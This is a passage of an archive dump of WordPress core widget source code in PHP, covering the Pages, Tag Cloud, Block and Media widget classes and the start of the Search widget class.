	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Pages widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Pages' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/**
		 * Filters the widget title.
		 *
		 * @since 2.6.0
		 *
		 * @param string $title    The widget title. Default 'Pages'.
		 * @param array  $instance Array of settings for the current widget.
		 * @param mixed  $id_base  The widget ID.
		 */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$sortby  = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
		$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];

		if ( 'menu_order' === $sortby ) {
			$sortby = 'menu_order, post_title';
		}

		$output = wp_list_pages(
			/**
			 * Filters the arguments for the Pages widget.
			 *
			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_list_pages()
			 *
			 * @param array $args     An array of arguments to retrieve the pages list.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_pages_args',
				array(
					'title_li'    => '',
					'echo'        => 0,
					'sort_column' => $sortby,
					'exclude'     => $exclude,
				),
				$instance
			)
		);

		if ( ! empty( $output ) ) {
			echo $args['before_widget'];
			if ( $title ) {
				echo $args['before_title'] . $title . $args['after_title'];
			}

			$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( 'navigation_widgets_format', $format );

			if ( 'html5' === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
			}
			?>

			<ul>
				<?php echo $output; ?>
			</ul>

			<?php
			if ( 'html5' === $format ) {
				echo '</nav>';
			}

			echo $args['after_widget'];
		}
	}

	/**
	 * Handles updating settings for the current Pages widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( in_array( $new_instance['sortby'], array( 'post_title', 'menu_order', 'ID' ), true ) ) {
			$instance['sortby'] = $new_instance['sortby'];
		} else {
			$instance['sortby'] = 'menu_order';
		}

		$instance['exclude'] = sanitize_text_field( $new_instance['exclude'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Pages widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		// Defaults.
		$instance = wp_parse_args(
			(array) $instance,
			array(
				'sortby'  => 'post_title',
				'title'   => '',
				'exclude' => '',
			)
		);
		?>
		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>

		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>"><?php _e( 'Sort by:' ); ?></label>
			<select name="<?php echo esc_attr( $this->get_field_name( 'sortby' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>" class="widefat">
				<option value="post_title"<?php selected( $instance['sortby'], 'post_title' ); ?>><?php _e( 'Page title' ); ?></option>
				<option value="menu_order"<?php selected( $instance['sortby'], 'menu_order' ); ?>><?php _e( 'Page order' ); ?></option>
				<option value="ID"<?php selected( $instance['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option>
			</select>
		</p>

		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php _e( 'Exclude:' ); ?></label>
			<input type="text" value="<?php echo esc_attr( $instance['exclude'] ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>" class="widefat" />
			<br />
			<small><?php _e( 'Page IDs, separated by commas.' ); ?></small>
		</p>
		<?php
	}
}
class-wp-widget-tag-cloud.php000064400000015172151024420100012137 0ustar00<?php
/**
 * Widget API: WP_Widget_Tag_Cloud class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Tag cloud widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Tag_Cloud extends WP_Widget {

	/**
	 * Sets up a new Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'A cloud of your most used tags.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'tag_cloud', __( 'Tag Cloud' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Tag Cloud widget instance.
	 */
	public function widget( $args, $instance ) {
		$current_taxonomy = $this->_get_current_taxonomy( $instance );

		if ( ! empty( $instance['title'] ) ) {
			$title = $instance['title'];
		} else {
			if ( 'post_tag' === $current_taxonomy ) {
				$title = __( 'Tags' );
			} else {
				$tax   = get_taxonomy( $current_taxonomy );
				$title = $tax->labels->name;
			}
		}

		$default_title = $title;

		$show_count = ! empty( $instance['count'] );

		$tag_cloud = wp_tag_cloud(
			/**
			 * Filters the taxonomy used in the Tag Cloud widget.
			 *
			 * @since 2.8.0
			 * @since 3.0.0 Added taxonomy drop-down.
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_tag_cloud()
			 *
			 * @param array $args     Args used for the tag cloud widget.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_tag_cloud_args',
				array(
					'taxonomy'   => $current_taxonomy,
					'echo'       => false,
					'show_count' => $show_count,
				),
				$instance
			)
		);

		if ( empty( $tag_cloud ) ) {
			return;
		}

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
		}

		echo '<div class="tagcloud">';

		echo $tag_cloud;

		echo "</div>\n";

		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance             = array();
		$instance['title']    = sanitize_text_field( $new_instance['title'] );
		$instance['count']    = ! empty( $new_instance['count'] ) ? 1 : 0;
		$instance['taxonomy'] = stripslashes( $new_instance['taxonomy'] );
		return $instance;
	}

	/**
	 * Outputs the Tag Cloud widget settings form.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';
		$count = isset( $instance['count'] ) ? (bool) $instance['count'] : false;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" />
		</p>
		<?php
		$taxonomies       = get_taxonomies( array( 'show_tagcloud' => true ), 'object' );
		$current_taxonomy = $this->_get_current_taxonomy( $instance );

		switch ( count( $taxonomies ) ) {

			// No tag cloud supporting taxonomies found, display error message.
			case 0:
				?>
				<input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="" />
				<p>
					<?php _e( 'The tag cloud will not be displayed since there are no taxonomies that support the tag cloud widget.' ); ?>
				</p>
				<?php
				break;

			// Just a single tag cloud supporting taxonomy found, no need to display a select.
			case 1:
				$keys     = array_keys( $taxonomies );
				$taxonomy = reset( $keys );
				?>
				<input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="<?php echo esc_attr( $taxonomy ); ?>" />
				<?php
				break;

			// More than one tag cloud supporting taxonomy found, display a select.
			default:
				?>
				<p>
					<label for="<?php echo $this->get_field_id( 'taxonomy' ); ?>"><?php _e( 'Taxonomy:' ); ?></label>
					<select class="widefat" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>">
					<?php foreach ( $taxonomies as $taxonomy => $tax ) : ?>
						<option value="<?php echo esc_attr( $taxonomy ); ?>" <?php selected( $taxonomy, $current_taxonomy ); ?>>
							<?php echo esc_html( $tax->labels->name ); ?>
						</option>
					<?php endforeach; ?>
					</select>
				</p>
				<?php
		}

		if ( count( $taxonomies ) > 0 ) {
			?>
			<p>
				<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>" <?php checked( $count, true ); ?> />
				<label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show tag counts' ); ?></label>
			</p>
			<?php
		}
	}

	/**
	 * Retrieves the taxonomy for the current Tag cloud widget instance.
	 *
	 * @since 4.4.0
	 *
	 * @param array $instance Current settings.
	 * @return string Name of the current taxonomy if set, otherwise 'post_tag'.
	 */
	public function _get_current_taxonomy( $instance ) {
		if ( ! empty( $instance['taxonomy'] ) && taxonomy_exists( $instance['taxonomy'] ) ) {
			return $instance['taxonomy'];
		}

		return 'post_tag';
	}
}
class-wp-widget-block.php000064400000014635151024420100011355 0ustar00<?php
/**
 * Widget API: WP_Widget_Block class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 5.8.0
 */

/**
 * Core class used to implement a Block widget.
 *
 * @since 5.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Block extends WP_Widget {

	/**
	 * Default instance.
	 *
	 * @since 5.8.0
	 * @var array
	 */
	protected $default_instance = array(
		'content' => '',
	);

	/**
	 * Sets up a new Block widget instance.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$widget_ops  = array(
			'classname'                   => 'widget_block',
			'description'                 => __( 'A widget containing a block.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 350,
		);
		parent::__construct( 'block', __( 'Block' ), $widget_ops, $control_ops );

		add_filter( 'is_wide_widget_in_customizer', array( $this, 'set_is_wide_widget_in_customizer' ), 10, 2 );
	}

	/**
	 * Outputs the content for the current Block widget instance.
	 *
	 * @since 5.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Block widget instance.
	 */
	public function widget( $args, $instance ) {
		$instance = wp_parse_args( $instance, $this->default_instance );

		echo str_replace(
			'widget_block',
			$this->get_dynamic_classname( $instance['content'] ),
			$args['before_widget']
		);

		/**
		 * Filters the content of the Block widget before output.
		 *
		 * @since 5.8.0
		 *
		 * @param string          $content  The widget content.
		 * @param array           $instance Array of settings for the current widget.
		 * @param WP_Widget_Block $widget   Current Block widget instance.
		 */
		echo apply_filters(
			'widget_block_content',
			$instance['content'],
			$instance,
			$this
		);

		echo $args['after_widget'];
	}

	/**
	 * Calculates the classname to use in the block widget's container HTML.
	 *
	 * Usually this is set to `$this->widget_options['classname']` by
	 * dynamic_sidebar(). In this case, however, we want to set the classname
	 * dynamically depending on the block contained by this block widget.
	 *
	 * If a block widget contains a block that has an equivalent legacy widget,
	 * we display that legacy widget's class name. This helps with theme
	 * backwards compatibility.
	 *
	 * @since 5.8.0
	 *
	 * @param string $content The HTML content of the current block widget.
	 * @return string The classname to use in the block widget's container HTML.
	 */
	private function get_dynamic_classname( $content ) {
		$blocks = parse_blocks( $content );

		$block_name = isset( $blocks[0] ) ? $blocks[0]['blockName'] : null;

		switch ( $block_name ) {
			case 'core/paragraph':
				$classname = 'widget_block widget_text';
				break;
			case 'core/calendar':
				$classname = 'widget_block widget_calendar';
				break;
			case 'core/search':
				$classname = 'widget_block widget_search';
				break;
			case 'core/html':
				$classname = 'widget_block widget_custom_html';
				break;
			case 'core/archives':
				$classname = 'widget_block widget_archive';
				break;
			case 'core/latest-posts':
				$classname = 'widget_block widget_recent_entries';
				break;
			case 'core/latest-comments':
				$classname = 'widget_block widget_recent_comments';
				break;
			case 'core/tag-cloud':
				$classname = 'widget_block widget_tag_cloud';
				break;
			case 'core/categories':
				$classname = 'widget_block widget_categories';
				break;
			case 'core/audio':
				$classname = 'widget_block widget_media_audio';
				break;
			case 'core/video':
				$classname = 'widget_block widget_media_video';
				break;
			case 'core/image':
				$classname = 'widget_block widget_media_image';
				break;
			case 'core/gallery':
				$classname = 'widget_block widget_media_gallery';
				break;
			case 'core/rss':
				$classname = 'widget_block widget_rss';
				break;
			default:
				$classname = 'widget_block';
		}

		/**
		 * The classname used in the block widget's container HTML.
		 *
		 * This can be set according to the name of the block contained by the block widget.
		 *
		 * @since 5.8.0
		 *
		 * @param string $classname  The classname to be used in the block widget's container HTML,
		 *                           e.g. 'widget_block widget_text'.
		 * @param string $block_name The name of the block contained by the block widget,
		 *                           e.g. 'core/paragraph'.
		 */
		return apply_filters( 'widget_block_dynamic_classname', $classname, $block_name );
	}

	/**
	 * Handles updating settings for the current Block widget instance.
	 *
	 * @since 5.8.0

	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance = array_merge( $this->default_instance, $old_instance );

		if ( current_user_can( 'unfiltered_html' ) ) {
			$instance['content'] = $new_instance['content'];
		} else {
			$instance['content'] = wp_kses_post( $new_instance['content'] );
		}

		return $instance;
	}

	/**
	 * Outputs the Block widget settings form.
	 *
	 * @since 5.8.0
	 *
	 * @see WP_Widget_Custom_HTML::render_control_template_scripts()
	 *
	 * @param array $instance Current instance.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, $this->default_instance );
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'content' ); ?>">
				<?php
				/* translators: HTML code of the block, not an option that blocks HTML. */
				_e( 'Block HTML:' );
				?>
			</label>
			<textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" rows="6" cols="50" class="widefat code"><?php echo esc_textarea( $instance['content'] ); ?></textarea>
		</p>
		<?php
	}

	/**
	 * Makes sure no block widget is considered to be wide.
	 *
	 * @since 5.8.0
	 *
	 * @param bool   $is_wide   Whether the widget is considered wide.
	 * @param string $widget_id Widget ID.
	 * @return bool Updated `is_wide` value.
	 */
	public function set_is_wide_widget_in_customizer( $is_wide, $widget_id ) {
		if ( str_starts_with( $widget_id, 'block-' ) ) {
			return false;
		}

		return $is_wide;
	}
}
class-wp-widget-media.php000064400000036007151024420100011337 0ustar00<?php
/**
 * Widget API: WP_Media_Widget class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements a media widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget
 */
abstract class WP_Widget_Media extends WP_Widget {

	/**
	 * Translation labels.
	 *
	 * @since 4.8.0
	 * @var array
	 */
	public $l10n = array(
		'add_to_widget'              => '',
		'replace_media'              => '',
		'edit_media'                 => '',
		'media_library_state_multi'  => '',
		'media_library_state_single' => '',
		'missing_attachment'         => '',
		'no_media_selected'          => '',
		'add_media'                  => '',
	);

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.8.1
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * The default widget description.
	 *
	 * @since 6.0.0
	 * @var string
	 */
	protected static $default_description = '';

	/**
	 * The default localized strings used by the widget.
	 *
	 * @since 6.0.0
	 * @var string[]
	 */
	protected static $l10n_defaults = array();

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 *
	 * @param string $id_base         Base ID for the widget, lowercase and unique.
	 * @param string $name            Name for the widget displayed on the configuration page.
	 * @param array  $widget_options  Optional. Widget options. See wp_register_sidebar_widget() for
	 *                                information on accepted arguments. Default empty array.
	 * @param array  $control_options Optional. Widget control options. See wp_register_widget_control()
	 *                                for information on accepted arguments. Default empty array.
	 */
	public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) {
		$widget_opts = wp_parse_args(
			$widget_options,
			array(
				'description'                 => self::get_default_description(),
				'customize_selective_refresh' => true,
				'show_instance_in_rest'       => true,
				'mime_type'                   => '',
			)
		);

		$control_opts = wp_parse_args( $control_options, array() );

		$this->l10n = array_merge( self::get_l10n_defaults(), array_filter( $this->l10n ) );

		parent::__construct(
			$id_base,
			$name,
			$widget_opts,
			$control_opts
		);
	}

	/**
	 * Add hooks while registering all widget instances of this widget class.
	 *
	 * @since 4.8.0
	 *
	 * @param int $number Optional. The unique order number of this widget instance
	 *                    compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		/*
		 * Note that the widgets component in the customizer will also do
		 * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		 */
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		if ( $this->is_preview() ) {
			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
		}

		/*
		 * Note that the widgets component in the customizer will also do
		 * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		 */
		add_action( 'admin_footer-widgets.php', array( $this, 'render_control_template_scripts' ) );

		add_filter( 'display_media_states', array( $this, 'display_media_state' ), 10, 2 );
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'attachment_id' => array(
				'type'        => 'integer',
				'default'     => 0,
				'minimum'     => 0,
				'description' => __( 'Attachment post ID' ),
				'media_prop'  => 'id',
			),
			'url'           => array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				'description' => __( 'URL to the media file' ),
			),
			'title'         => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'sanitize_text_field',
				'description'           => __( 'Title for the widget' ),
				'should_preview_update' => false,
			),
		);

		/**
		 * Filters the media widget instance schema to add additional properties.
		 *
		 * @since 4.9.0
		 *
		 * @param array           $schema Instance schema.
		 * @param WP_Widget_Media $widget Widget object.
		 */
		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );

		return $schema;
	}

	/**
	 * Determine if the supplied attachment is for a valid attachment post with the specified MIME type.
	 *
	 * @since 4.8.0
	 *
	 * @param int|WP_Post $attachment Attachment post ID or object.
	 * @param string      $mime_type  MIME type.
	 * @return bool Is matching MIME type.
	 */
	public function is_attachment_with_mime_type( $attachment, $mime_type ) {
		if ( empty( $attachment ) ) {
			return false;
		}
		$attachment = get_post( $attachment );
		if ( ! $attachment ) {
			return false;
		}
		if ( 'attachment' !== $attachment->post_type ) {
			return false;
		}
		return wp_attachment_is( $mime_type, $attachment );
	}

	/**
	 * Sanitize a token list string, such as used in HTML rel and class attributes.
	 *
	 * @since 4.8.0
	 *
	 * @link http://w3c.github.io/html/infrastructure.html#space-separated-tokens
	 * @link https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList
	 * @param string|array $tokens List of tokens separated by spaces, or an array of tokens.
	 * @return string Sanitized token string list.
	 */
	public function sanitize_token_list( $tokens ) {
		if ( is_string( $tokens ) ) {
			$tokens = preg_split( '/\s+/', trim( $tokens ) );
		}
		$tokens = array_map( 'sanitize_html_class', $tokens );
		$tokens = array_filter( $tokens );
		return implode( ' ', $tokens );
	}

	/**
	 * Displays the widget on the front-end.
	 *
	 * @since 4.8.0
	 *
	 * @see WP_Widget::widget()
	 *
	 * @param array $args     Display arguments including before_title, after_title, before_widget, and after_widget.
	 * @param array $instance Saved setting from the database.
	 */
	public function widget( $args, $instance ) {
		$instance = wp_parse_args( $instance, wp_list_pluck( $this->get_instance_schema(), 'default' ) );

		// Short-circuit if no media is selected.
		if ( ! $this->has_content( $instance ) ) {
			return;
		}

		echo $args['before_widget'];

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		/**
		 * Filters the media widget instance prior to rendering the media.
		 *
		 * @since 4.8.0
		 *
		 * @param array           $instance Instance data.
		 * @param array           $args     Widget args.
		 * @param WP_Widget_Media $widget   Widget object.
		 */
		$instance = apply_filters( "widget_{$this->id_base}_instance", $instance, $args, $this );

		$this->render_media( $instance );

		echo $args['after_widget'];
	}

	/**
	 * Sanitizes the widget form values as they are saved.
	 *
	 * @since 4.8.0
	 * @since 5.9.0 Renamed `$instance` to `$old_instance` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @see WP_Widget::update()
	 * @see WP_REST_Request::has_valid_params()
	 * @see WP_REST_Request::sanitize_params()
	 *
	 * @param array $new_instance Values just sent to be saved.
	 * @param array $old_instance Previously saved values from database.
	 * @return array Updated safe values to be saved.
	 */
	public function update( $new_instance, $old_instance ) {

		$schema = $this->get_instance_schema();
		foreach ( $schema as $field => $field_schema ) {
			if ( ! array_key_exists( $field, $new_instance ) ) {
				continue;
			}
			$value = $new_instance[ $field ];

			/*
			 * Workaround for rest_validate_value_from_schema() due to the fact that
			 * rest_is_boolean( '' ) === false, while rest_is_boolean( '1' ) is true.
			 */
			if ( 'boolean' === $field_schema['type'] && '' === $value ) {
				$value = false;
			}

			if ( true !== rest_validate_value_from_schema( $value, $field_schema, $field ) ) {
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $field_schema );

			// @codeCoverageIgnoreStart
			if ( is_wp_error( $value ) ) {
				continue; // Handle case when rest_sanitize_value_from_schema() ever returns WP_Error as its phpdoc @return tag indicates.
			}

			// @codeCoverageIgnoreEnd
			if ( isset( $field_schema['sanitize_callback'] ) ) {
				$value = call_user_func( $field_schema['sanitize_callback'], $value );
			}
			if ( is_wp_error( $value ) ) {
				continue;
			}
			$old_instance[ $field ] = $value;
		}

		return $old_instance;
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	abstract public function render_media( $instance );

	/**
	 * Outputs the settings update form.
	 *
	 * Note that the widget UI itself is rendered with JavaScript via `MediaWidgetControl#render()`.
	 *
	 * @since 4.8.0
	 *
	 * @see \WP_Widget_Media::render_control_template_scripts() Where the JS template is located.
	 *
	 * @param array $instance Current settings.
	 */
	final public function form( $instance ) {
		$instance_schema = $this->get_instance_schema();
		$instance        = wp_array_slice_assoc(
			wp_parse_args( (array) $instance, wp_list_pluck( $instance_schema, 'default' ) ),
			array_keys( $instance_schema )
		);

		foreach ( $instance as $name => $value ) : ?>
			<input
				type="hidden"
				data-property="<?php echo esc_attr( $name ); ?>"
				class="media-widget-instance-property"
				name="<?php echo esc_attr( $this->get_field_name( $name ) ); ?>"
				id="<?php echo esc_attr( $this->get_field_id( $name ) ); // Needed specifically by wpWidgets.appendTitle(). ?>"
				value="<?php echo esc_attr( is_array( $value ) ? implode( ',', $value ) : (string) $value ); ?>"
			/>
			<?php
		endforeach;
	}

	/**
	 * Filters the default media display states for items in the Media list table.
	 *
	 * @since 4.8.0
	 *
	 * @param array   $states An array of media states.
	 * @param WP_Post $post   The current attachment object.
	 * @return array
	 */
	public function display_media_state( $states, $post = null ) {
		if ( ! $post ) {
			$post = get_post();
		}

		// Count how many times this attachment is used in widgets.
		$use_count = 0;
		foreach ( $this->get_settings() as $instance ) {
			if ( isset( $instance['attachment_id'] ) && $instance['attachment_id'] === $post->ID ) {
				++$use_count;
			}
		}

		if ( 1 === $use_count ) {
			$states[] = $this->l10n['media_library_state_single'];
		} elseif ( $use_count > 0 ) {
			$states[] = sprintf( translate_nooped_plural( $this->l10n['media_library_state_multi'], $use_count ), number_format_i18n( $use_count ) );
		}

		return $states;
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a widget is rendered.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		wp_enqueue_media();
		wp_enqueue_script( 'media-widgets' );
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		?>
		<script type="text/html" id="tmpl-widget-media-<?php echo esc_attr( $this->id_base ); ?>-control">
			<# var elementIdPrefix = 'el' + String( Math.random() ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>
			<div class="media-widget-preview <?php echo esc_attr( $this->id_base ); ?>">
				<div class="attachment-media-view">
					<button type="button" class="select-media button-add-media not-selected">
						<?php echo esc_html( $this->l10n['add_media'] ); ?>
					</button>
				</div>
			</div>
			<p class="media-widget-buttons">
				<button type="button" class="button edit-media selected">
					<?php echo esc_html( $this->l10n['edit_media'] ); ?>
				</button>
			<?php if ( ! empty( $this->l10n['replace_media'] ) ) : ?>
				<button type="button" class="button change-media select-media selected">
					<?php echo esc_html( $this->l10n['replace_media'] ); ?>
				</button>
			<?php endif; ?>
			</p>
			<div class="media-widget-fields">
			</div>
		</script>
		<?php
	}

	/**
	 * Resets the cache for the default labels.
	 *
	 * @since 6.0.0
	 */
	public static function reset_default_labels() {
		self::$default_description = '';
		self::$l10n_defaults       = array();
	}

	/**
	 * Whether the widget has content to show.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 * @return bool Whether widget has content.
	 */
	protected function has_content( $instance ) {
		return ( $instance['attachment_id'] && 'attachment' === get_post_type( $instance['attachment_id'] ) ) || $instance['url'];
	}

	/**
	 * Returns the default description of the widget.
	 *
	 * @since 6.0.0
	 *
	 * @return string
	 */
	protected static function get_default_description() {
		if ( self::$default_description ) {
			return self::$default_description;
		}

		self::$default_description = __( 'A media item.' );
		return self::$default_description;
	}

	/**
	 * Returns the default localized strings used by the widget.
	 *
	 * @since 6.0.0
	 *
	 * @return (string|array)[]
	 */
	protected static function get_l10n_defaults() {
		if ( ! empty( self::$l10n_defaults ) ) {
			return self::$l10n_defaults;
		}

		self::$l10n_defaults = array(
			'no_media_selected'          => __( 'No media selected' ),
			'add_media'                  => _x( 'Add Media', 'label for button in the media widget' ),
			'replace_media'              => _x( 'Replace Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
			'edit_media'                 => _x( 'Edit Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
			'add_to_widget'              => __( 'Add to Widget' ),
			'missing_attachment'         => sprintf(
				/* translators: %s: URL to media library. */
				__( 'That file cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ),
				esc_url( admin_url( 'upload.php' ) )
			),
			/* translators: %d: Widget count. */
			'media_library_state_multi'  => _n_noop( 'Media Widget (%d)', 'Media Widget (%d)' ),
			'media_library_state_single' => __( 'Media Widget' ),
			'unsupported_file_type'      => __( 'Looks like this is not the correct kind of file. Please link to an appropriate file instead.' ),
		);

		return self::$l10n_defaults;
	}
}
class-wp-widget-search.php000064400000005244151024420100011524 0ustar00<?php
/**
 * Widget API: WP_Widget_Search class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Search widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Search extends WP_Widget {

	/**
	 * Sets up a new Search widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_search',
			'description'                 => __( 'A search form for your site.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'search', _x( 'Search', 'Search widget' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Search widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Search widget instance.
	 */
	public function widget( $args, $instance ) {
